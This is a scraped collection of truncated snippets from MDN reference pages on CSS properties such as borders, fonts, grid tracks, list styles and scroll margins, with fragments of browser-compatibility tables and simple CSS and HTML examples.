a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. an element's back face is a mirror image of its front face. though invisible in 2d, the back face can become visible when a transformation causes the element to be rotated in 3d space. (this property has no effect on 2d transforms, which have no perspective.) syntax /* keyword values */ backface-visibility: visible; backface-visibility: hidden; /* global values */ backface-visibility: inherit; backface-visibility: initial; backface-visibility: unset; the backface-visibility property is specified as one of the keywords listed below. values visible the back face is visible when turned towards the user. hidden the ...
... editor's draft initial definition. ...
border-bottom-width - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... the other border-bottom-related css properties: border, border-bottom, border-bo...
border-left-style - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 14notes full support 14notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid. this has been fixed in firefox 50.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes. see also the other style-related border properties: border-bottom-style, border-right-style, border-top-style, and border-style. the other left-border-related pr...
border-left - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
border-right-style - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 14notes full support 14notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid. this has been fixed in firefox 50.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes. see also the other style-related border properties: border-bottom-style, border-left-style, border-top-style, and border-style. the other bottom-border-related p...
border-right - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 14opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
border-top - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
border - CSS: Cascading Style Sheets
Web › CSS › border
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
box-direction - CSS: Cascading Style Sheets
ions not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cro...
color-adjust - CSS: Cascading Style Sheets
by default, the browser is allowed to make any adjustments to the element's appearance it determines to be necessary and prudent given the type and capabilities of the output device. syntax color-adjust: economy; color-adjust: exact; the color-adjust property's value must be one of the following keywords. values economy the user agent is allowed to make adjustments to the element as it deems appropriate and prudent in order to optimize the output for the device it's being rendered for. for example, when printing, a browser might opt to leave out all background images and to adjust text colors to be sure the contrast is optimized for reading on white paper. this is the default. exact the element's content has been specifically and carefully crafted to use colors, images, and styles ...
...ing on paper, so we also use color-adjust: exact to tell the browser not to make color or style adjustments to the box when rendering it. css .my-box { background-color: black; background-image: linear-gradient(rgba(0, 0, 180, 0.5), rgba(70, 140, 220, 0.5)); color: #900; width: 15rem; height: 6rem; text-align: center; font: 24px "helvetica", sans-serif; display: flex; align-items: center; justify-content: center; color-adjust: exact; } html <div class="my-box"> <p>need more contrast!</p> </div> result specifications specification status comment css color adjustment module level 1the definition of 'color-adjust' in that specification. editor's draft initial definition. ...
column-count - CSS: Cascading Style Sheets
t initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1 full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios full support 9 full support 9 full support 1prefixed prefixed implemented with the vendor prefix: -webkit-samsung internet android full support 5.0 full support 5.0 full support 1.0prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full supportsee implementation notes.see im...
content - CSS: Cascading Style Sheets
Web › CSS › content
scape sequences: for example, \000a9 represents the copyright symbol. <image> an <image>, denoted by the <url> or <gradient> data type, or part of the webpage, defined by the element() function, denoting the content to display. <counter>() the value of a css counter, generally a number. it can be displayed using either the counter() or counters() function. the counter() function has two forms: 'counter(name)' or 'counter(name, style)'. the generated text is the value of the innermost counter of the given name in scope at the given pseudo-element. it is formatted in the specified style (decimal by default). the counters() function also has two forms: 'counters(name, string)' or 'counters(name, string, style)'. the generated text is the value of all counters with the given name in sco...
...s example inserts an image before the link. if the image is not found, it inserts text instead. html <a href="http://www.mozilla.org/">mozilla home page</a> css a::before { content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") / " mozilla: "; font: x-small arial, sans-serif; color: gray; } result targeting classes this example inserts additional text after special items in a list. html <h2>paperback best sellers</h2> <ol> <li>political thriller</li> <li class="new-entry">halloween stories</li> <li>my biography</li> <li class="new-entry">vampire romance</li> </ol> css .new-entry::after { content: " new!"; /* the leading space creates separation between the added content and the rest of the content */ ...
direction - CSS: Cascading Style Sheets
Web › CSS › direction
initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
element() - CSS: Cascading Style Sheets
Web › CSS › element
eferred from css3 images. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... limited to background-image, background, border-image and border-image-source. no support 4 — 29prefixed notes prefixed implemented with the vendor prefix: -moz-notes -moz-element() is limited to background-image and background.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation no...
empty-cells - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1.2webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 3.1samsung internet android full support 1.0legend full support full support ...
flex-shrink - CSS: Cascading Style Sheets
in use, flex-shrink is used alongside the other flex properties flex-grow and flex-basis, and normally defined using the flex shorthand. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...om/mdn/interactive-examples and send us a pull request. syntax /* <number> values */ flex-shrink: 2; flex-shrink: 0.6; /* global values */ flex-shrink: inherit; flex-shrink: initial; flex-shrink: unset; the flex-shrink property is specified as a single <number>. values <number> see <number>. negative values are invalid. defaults to 1. formal definition initial value1applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item shrink factor html <p>the width of content is 500px; the flex-basis of the flex items is 120px.</p> <p>a, b, c have flex-shrink:1 set. d and e have flex-shrink:2 set</p> <p>the width of d and e is less than the others.</p> <div id="content"> <div...
flex-wrap - CSS: Cascading Style Sheets
Web › CSS › flex-wrap
if wrapping is allowed, it sets the direction that lines are stacked. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. see using css flexible boxes for more properties and information. syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below. ...
... see using css flexible boxes for more properties and information. syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below. values the following values are accepted: nowrap the flex items are laid out in a single line which may cause the flex container to overflow. the cross-start is either equivalent to start or before depending on the flex-direction value. this is the default value. wrap the flex items break into multiple lines. the cross-start is either equivalent to start or before depending flex-direction value and the cross-end is the opposite of the specified cross-start.
font-family - CSS: Cascading Style Sheets
st of font family names. the following keywords are defined: serif glyphs have finishing strokes, flared or tapering ends, or have actual serifed endings. e.g. lucida bright, lucida fax, palatino, "palatino linotype", palladio, "urw palladio", serif. sans-serif glyphs have stroke endings that are plain. e.g. "open sans", "fira sans", "lucida sans", "lucida sans unicode", "trebuchet ms", "liberation sans", "nimbus sans l", sans-serif. monospace all glyphs have the same fixed width. e.g. "fira mono", "dejavu sans mono", menlo, consolas, "liberation mono", monaco, "lucida console", monospace. cursive glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. the glyphs are partially or completely conn...
...uperscript and subscript, brackets that cross several lines, nesting expressions, and double struck glyphs with distinct meanings. this is some example math text: ax² + bx + c = 0. emoji fonts that are specifically designed to render emoji. this is some example emoji text: ✝♾. fangsong a particular style of chinese characters that are between serif-style song and cursive-style kai forms. this style is often used for government documents. this is some example fangsong text with the chinese characters for "fangsong" in traditional and simple forms, respectively: 仿宋體 仿宋体. valid family names font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. this means that punctuation characters and digits at the start ...
font-feature-settings - CSS: Cascading Style Sheets
lue> when rendering text, the list of opentype feature tag value is passed to the text layout engine to enable or disable font features. the tag is always a <string> of 4 ascii characters. if it has more or less characters, or if it contains characters outside the u+20 – u+7e codepoint range, the whole property is invalid. the value is a positive integer. the two keywords on and off are synonyms for 1 and 0 respectively. if no value is set, the default is 1. for non-boolean opentype features (e.g. stylistic alternates), the value implies a particular glyph to be selected; for boolean values, it is a switch. formal definition initial valuenormalapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal...
...es enabling various font features /* use small-cap alternate glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable common ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh"...
font-size-adjust - CSS: Cascading Style Sheets
s been newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome full support 43disabled full support 43disabled disabled from version 43: this feature is behind the enable experimental web platform features preference. to change preferences in chrome, visit chrome://flags.edge full support 79...
...ox android full support 4opera android full support 30disabled full support 30disabled disabled from version 30: this feature is behind the enable experimental web platform features preference.safari ios no support nosamsung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this featu...
font-stretch - CSS: Cascading Style Sheets
is example will only work in browsers that support <percentage> values. ...
.... ...
font-style - CSS: Cascading Style Sheets
level 4 syntax in which font-style: oblique can accept an <angle>. ...
...<header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by david berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src: url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'); font-family:'amstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max-height: 150px; overflow: scroll; } .sample { font: 2rem 'amstelvaralpha...
font-variant-caps - CSS: Cascading Style Sheets
on initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 24 — 34disabled disabled from version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios no support nosamsung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
grid-auto-columns - CSS: Cascading Style Sheets
ke auto. <flex> is a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. when appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)). max-content is a keyword representing the largest maximal content contribution of the grid items occupying the grid track. min-content is a keyword representing the largest minimal content contribution of the grid items occupying the grid track. minmax(min, max) is a functional notation that defines a size range greater than or equal to min and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value sets ...
...esents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e. minmax(auto, max-content)), except that the track size is clamped at argument if it is greater than the auto minimum. auto is a keyword that is identical to maximal content if it's a maximum. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. note: auto track sizes (and only auto track sizes) can be streched by the align-content and justify-content properties. formal definition initial valueautoapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valuethe percentage as specified or the absolute lengthanimation typediscrete formal syntax <track-s...
grid-auto-rows - CSS: Cascading Style Sheets
ke auto. <flex> is a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. when appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)). max-content is a keyword representing the largest maximal content contribution of the grid items occupying the grid track. min-content is a keyword representing the largest minimal content contribution of the grid items occupying the grid track. minmax(min, max) is a functional notation that defines a size range greater than or equal to min and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value sets ...
...the function is treated as min. as a maximum, a <flex> value sets the track’s flex factor. as a minimum, it is treated as zero (or minimal content, if the grid container is sized under a minimal content constraint). auto is a keyword that is identical to maximal content if it's a maximum. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties. formal definition initial valueautoapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valuethe percentage as specified or the absolute lengthanimation typediscrete formal syntax <track-...
grid-template-columns - CSS: Cascading Style Sheets
centage. <flex> is a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. when appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)). max-content is a keyword representing the largest maximal content contribution of the grid items occupying the grid track. min-content is a keyword representing the largest minimal content contribution of the grid items occupying the grid track. minmax(min, max) is a functional notation that defines a size range greater than or equal to min and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value sets ...
... equal to min and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value sets the track’s flex factor. it is invalid as a minimum. auto is a keyword that is identical to maximal content if it's a maximum. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties. fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e. minmax(auto, max-content)), except that the track size is clamped at argument if it is greater tha...
grid-template-rows - CSS: Cascading Style Sheets
percentage. <flex> is a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. when appearing outside a minmax() notation, it implies an automatic minimum (i.e. minmax(auto, <flex>)). max-content is a keyword representing the largest maximal content contribution of the grid items occupying the grid track. min-content is a keyword representing the largest minimal content contribution of the grid items occupying the grid track. minmax(min, max) is a functional notation that defines a size range, greater than or equal to min, and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value set...
...equal to min, and less than or equal to max. if max is smaller than min, then max is ignored and the function is treated as min. as a maximum, a <flex> value sets the track’s flex factor. it is invalid as a minimum. auto is a keyword that is identical to maximal content if it's a maximum. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties. fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e. minmax(auto, max-content)), except that the track size is clamped at argument if it is greater tha...
image-set() - CSS: Cascading Style Sheets
Web › CSS › image-set
ion. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 14prefixed prefixed implemented with the vendor prefix: -webkit-safari ios partial support 6prefixed notes partial support 6prefixed notes prefixed implemented with the vendor prefix: -webkit-notes support for url images only and x is the only supported resolution unit. ...
image() - CSS: Cascading Style Sheets
ch means you can add a fall back color should a transparent png/gif/webp not load. ...
...ow on the left</li> <li dir="rtl">bullet is the same arrow, flipped to point left.</li> </ul> ul { list-style-image: image(ltr 'https://mdn.mozillademos.org/files/16412/rightarrow.png'); } in the left-to-right list items — those with dir="ltr" set on the element itself or inheriting the directionality from an ancestor or default value for the page — the image will be used as-is. list items with dir="rtl" set on the <li> or inheriting the right-to-left directionality from an ancestor, such as documents set to arabic or hebrew, will have the bullet display on the right, horizontally flippled, as if transform: scalex(-1) had been set. the text will also be displayed left-to-right. displaying a section of the background image <div class="box">hover over me. what cursor do you see?<...
initial - CSS: Cascading Style Sheets
Web › CSS › initial
on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... see also use unset ...
<integer> - CSS: Cascading Style Sheets
Web › CSS › integer
implicit definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
list-style-image - CSS: Cascading Style Sheets
age css property sets an image to be used as the list item marker. it is often more convenient to use the shorthand list-style. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: this property is applied to list items, i.e. elements with display: list-item; by default this includes <li> elements. because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items. syntax /* keyword values */ list-style-image: none; /* <url> values */ list-style-image: url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial...
...alues */ list-style-image: url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <url> location of image to use as the marker. none specifies that no image is used as the marker. if this value is set, the marker defined in list-style-type will be used instead. ...
list-style-position - CSS: Cascading Style Sheets
roperty sets the position of the ::marker relative to a list item. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often more convenient to use the shorthand list-style. note: this property is applied to list items, i.e., elements with display: list-item;. by default this includes <li> elements. because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items. note that there is variance among browsers regarding behavior when a block element is placed first within a list element declared as list-style-position: inside. chrome and safari both...
... global values */ list-style-position: inherit; list-style-position: initial; list-style-position: unset; the list-style-position property is specified as one of the keyword values listed below. values inside the ::marker is the first element among the list item's contents. outside the ::marker is outside the principal block box. ...
outline-offset - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1.2webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support no support no support ...
Guide to scroll anchoring - CSS: Cascading Style Sheets
b, you are probably familiar with the problem that scroll anchoring solves. you browse to a long page on a slow connection and begin to scroll to read the content; while you are busy reading, the part of the page you are looking at suddenly jumps. this has happened because large images or some other elements have just loaded further up in the content. scroll anchoring is a browser feature that aims to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document. how does it work? scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually ...
... problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document. how does it work? scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually changes in terms of how far they have moved through the document. how do i turn on scroll anchoring? you don't! the feature is enabled by default in supporting browsers. in most cases anchored scrolling is exactly what you want — content jumping is a poor experience for anyone. what if i need to debug it? if your page is not behaving well with scroll anchoring enabled, it is probably because some scroll eve...
page-break-after - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
page-break-before - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
repeat() - CSS: Cascading Style Sheets
Web › CSS › repeat
he size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage. <flex> a non-negative dimension with the unit fr specifying the track’s flex factor. each <flex>-sized track takes a share of the remaining space in proportion to its flex factor. max-content represents the largest max-content contribution of the grid items occupying the grid track. min-content represents the largest min-content contribution of the grid items occupying the grid track. auto as a maximum, identical to max-content. as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid items occupying the grid track. auto-fill if the grid container has a definite or maximal size in the relevant axis...
... if any number of repetitions would overflow, then the repetition is 1. otherwise, if the grid container has a definite minimal size in the relevant axis, the number of repetitions is the smallest possible positive integer that fulfills that minimum requirement. otherwise, the specified track list repeats only once. auto-fit behaves the same as auto-fill, except that after placing the grid items any empty repeated tracks are collapsed. an empty track is one with no in-flow grid items placed into or spanning across it. (this can result in all tracks being collapsed, if they’re all empty.) a collapsed track is treated as having a single fixed track sizing function of 0px, and the gutters on either side of it collapse. for the purpose of finding the number of auto-repeated tracks, the...
right - CSS: Cascading Style Sheets
Web › CSS › right
on initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
scroll-margin-inline-end - CSS: Cascading Style Sheets
he contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin values, a different one for the second an...
...nts. last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline-end: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline-end: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>. result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-end' in that specification. candidate recommendation initial definition ...
scroll-margin-inline-start - CSS: Cascading Style Sheets
he contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin-values, a different one for the seco...
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-start' in that specification. candidate recommendation initial definition ...
scroll-margin-inline - CSS: Cascading Style Sheets
he contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin values, a different one for the second an...
...snap points. last of all we specify the scroll margin values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin-inline: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>. note: here we are setting scroll-margin on the start and end of the inline axis (x in our case), but only the end edge is really relevant. it would work just as well here to only set a scroll margin on that one edge, for example with scroll-margin-inline: 0 1rem, or scroll-margin-inline-end: 1rem. result try it for yourself: specifications ...
scroll-margin - CSS: Cascading Style Sheets
he contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin-values, a different one for the seco...
... are the designated snap points. last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { scroll-margin: 1rem; } .scroller > div:nth-child(3) { scroll-margin: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the left edge of the second <div>, and 2rems outside the left edge of the third <div>. note: here we are setting scroll-margin on all sides at once, but only the start edge is really relevant. it would work just as well here to only set a scroll margin on that one edge, for example with scroll-margin-inline-start: 1rem, or scroll-margin: 0 0 0 1rem. result try it for yourself: specifications specification status comm...
text-align - CSS: Cascading Style Sheets
uted value of either left or rightanimation typediscrete formal syntax start | end | left | right | center | justify | match-parent examples left alignment html <p class="example"> integer elementum massa at nulla placerat varius. suspendisse in libero risus, in interdum massa. vestibulum ac leo vitae metus faucibus gravida ac in neque. nullam est eros, suscipit sed dictum quis, accumsan a ligula. </p> css .example { text-align: left; border: solid; } result centered text html <p class="example"> integer elementum massa at nulla placerat varius. suspendisse in libero risus, in interdum massa. vestibulum ac leo vitae metus faucibus gravida ac in neque. nullam est eros, suscipit sed dictum quis, accumsan a ligula. </p> css .example { text-align: center; ...
... ac in neque. nullam est eros, suscipit sed dictum quis, accumsan a ligula. </p> css .example { text-align: center; border: solid; } result justify html <p class="example"> integer elementum massa at nulla placerat varius. suspendisse in libero risus, in interdum massa. vestibulum ac leo vitae metus faucibus gravida ac in neque. nullam est eros, suscipit sed dictum quis, accumsan a ligula. </p> css .example { text-align: justify; border: solid; } result notes the standard-compatible way to center a block itself without centering its inline content is setting the left and right margin to auto, e.g.: .something { margin: auto; } .something { margin: 0 auto; } .something { margin-left: auto; margin-right: auto; } specifications specifica...
text-underline-position - CSS: Cascading Style Sheets
cifiedanimation typediscrete formal syntax auto | from-font | [ under | [ left | right ] ] examples a simple example let's take a couple of simple example paragraphs: <p class="horizontal">lorem ipsum dolor sit amet, consectetur adipiscing elit. nullam consectetur ac turpis vel laoreet. nullam volutpat pharetra lorem, sit amet feugiat tortor volutpat quis. nam eget sodales quam. ...
...consectetur ac turpis vel laoreet. nullam volutpat pharetra lorem, sit amet feugiat tortor volutpat quis. nam eget sodales quam. aliquam accumsan tellus ac erat posuere.</p> <p class="vertical">lorem ipsum dolor sit amet, consectetur adipiscing elit. nullam consectetur ac turpis vel laoreet. nullam volutpat pharetra lorem, sit amet feugiat tortor volutpat quis. nam eget sodales quam. aliquam accumsan tellus ac erat posuere.</p> our css looks like this: p { font-size: 1.5rem; text-transform: capitalize; text-decoration: underline; text-decoration-thickness: 2px; } .horizontal { text-underline-position: under; } .vertical { writing-mode: vertical-rl; text-underline-position: left; } in this example we set both the paragraphs to have a thick underline. in the horizontal text...
<time-percentage> - CSS: Cascading Style Sheets
